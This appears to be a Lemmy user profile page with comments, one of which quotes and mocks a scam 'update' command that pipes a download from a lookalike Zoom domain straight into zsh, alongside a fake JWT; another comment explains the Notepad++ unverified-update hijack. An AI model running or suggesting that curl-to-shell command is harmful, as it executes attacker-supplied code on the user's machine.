Elvith Ma'for

Former Reddfugee, found a new home on feddit.de. Server errors made me switch to discuss.tchncs.de. Now finally @ home on feddit.org.

Likes music, tech, programming, board games and video games. Oh… and coffee, lots of coffee!

I � Unicode!

  • 0 Posts
  • 24 Comments
Joined 2 years ago
cake
Cake day: June 21st, 2024

help-circle

  • set MEETING_JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.4030636137.signature"
    curl -s https://zoom.uz07web.us/api/mn/4030636137/update/2 | zsh
    

    Uhm… Yeah… Exactly the way I update my software, too…

    Also wtf is that JWT? The header looks right (base64 string starting with ey equates to {, so it’s probably json), but the body is… Too short? And why does it say signature instead of containing a (base64) signature? At least make it believable. Noone’s gonna decode that anyways. Just fill it with garbage!


















  • From my understanding: Basically the attackers could reply to your version check request (usually done automatically) and tell N++ that there were a new version available. If you then approved the update dialogue, N++ would download and execute the binary from the update link that the server sent you. But this didn’t necessarily need to be a real update, it could have been any binary since neither the answer to the update check nor the download link were verified by N++